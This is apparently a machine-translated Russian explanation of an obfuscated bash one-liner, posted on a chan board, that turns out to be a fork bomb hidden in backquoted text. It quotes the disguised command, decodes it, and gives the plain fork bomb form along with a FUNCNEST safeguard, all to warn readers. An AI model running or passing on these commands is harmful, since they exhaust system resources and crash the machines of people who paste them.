во-первых, давайте посмотрим на всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
он содержит строку в двойных кавычках, которая повторяется до uudecode
. Но обратите внимание, что внутри строки с двойными кавычками находится back-quoted строку. Эта строка получает выполнена. Строка:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
если мы посмотрим, что в нем, мы увидим три команды:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
выполняя фигурные скобки на среднем командовании, мы есть:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
первая строка пытается запустить бессмысленную команду в фоновом режиме. Это не имеет значения.
вторая строка важна: она определяет функцию r
, который, при запуске, запускает две копии. Каждая из этих копий, разумеется, выпустит еще две копии. и так далее.
третья строка r
, запуск бомбы вилки.
остальной код, за пределами задней кавычки, это просто бред путаница.
Как выполнить команду безопасное
этот код можно безопасно запустить, если установить ограничение на уровень вложенности функции. Это можно сделать с Баша FUNCNEST
переменной. Здесь мы устанавливаем его в 2
и это останавливает рекурсию:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
сообщения об ошибках выше показывают, что (a) бессмысленные команды rYWdl
и Y29j
не найдены, (b) бомба вилки многократно останавливается FUNCNEST, и (c) вывод echo
не начинается с begin
и, следовательно, недопустимый ввод для uudecode
.
вилка бомбы в самом простом виде
как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как предполагают njzk2 и gerrit, это будет выглядеть так:
echo "`r()(r&r);r`"
мы можем упростить это еще больше:
r()(r&r); r
состоит из двух операторов: один определяет функцию fork-bomb-function r
а второй работает r
.
все другой код, в том числе трубы uudecode
, был там только для затемнения и неправильного направления.
первоначальная форма имела еще один слой неправильного направления
ОП предоставил a link к обсуждению доски chann, на котором появился этот код. В представленном виде код выглядел так:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
обратите внимание на один из первых комментариев про этот код:
я купился на это. Скопировал только ту часть, которая расшифровывает, но все еще
у forkbombed
в форме на доске chann, наивно было бы думать, что проблема будет eval
оператор, работающий на выходе uudecode
. Это привело бы к мысли, что удаление eval
решит эту проблему. Как мы видели выше, это ложно и опасно.